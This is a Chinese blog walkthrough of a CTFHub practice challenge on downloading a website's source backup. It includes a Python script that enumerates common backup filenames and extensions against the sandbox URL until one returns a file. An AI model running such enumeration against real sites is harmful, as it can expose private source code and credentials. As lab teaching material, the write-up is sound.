CTFHub技能树备份文件下载——网站源码

雨点打透心脏的1/2处 2024-03-24 14:18 71阅读 0赞

1.点击开启题目，打开给出的链接。看到这个页面，大体猜到应该是让我们拼接文件名和后缀，并访问。

![8ed2b0a53c404b0284fa6a66bd32bf2f.png][]

2.最基础的就是一个一个的拼（这次是www.zip），当然，就是有点费时间，也可以使用代码。

import requests
    import webbrowser
    
    url = "http://challenge-60bf1666b39af9d0.sandbox.ctfhub.com:10800/"
    filename = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
    suffix = ['.tar', '.tar.gz', '.zip', '.rar']
    
    for i in filename:
        for j in suffix:
            url_new = url + i + j
            r1 = requests.get(url_new)
            print('r1.status_code', r1.status_code)
            print('url_new', url_new)
            print('\n')
            if(r1.status_code == 200):
                webbrowser.open(url_new, new=1)  # 打开新的浏览器窗口

3.无论是手动还是用代码，都会直接下载一个压缩包文件，然后解压缩，得到一个用flag命名的文本文档，打开后啥也没有。

![ba18b468f92f4fa58fad7c360c0e85ee.png][]

4.既然这样，没有别的办法了，只能把文本文档的名字复制到链接中。回车发现flag。

![6b656fed48ba460cb81b2010ae981aa8.png][]

![c8fec46312264021b90e35b76cdae24e.png][]

[8ed2b0a53c404b0284fa6a66bd32bf2f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/24/7688e447716b4b88a7cc5ebf46425f06.png
[ba18b468f92f4fa58fad7c360c0e85ee.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/24/1e23fff0e0c14a179fa150f320d34ba0.png
[6b656fed48ba460cb81b2010ae981aa8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/24/5b5755bbf88d4e3cb9d7b83528b5ad08.png
[c8fec46312264021b90e35b76cdae24e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/24/da1811d6f7e04ee8bc0dea9b4a56a7f3.png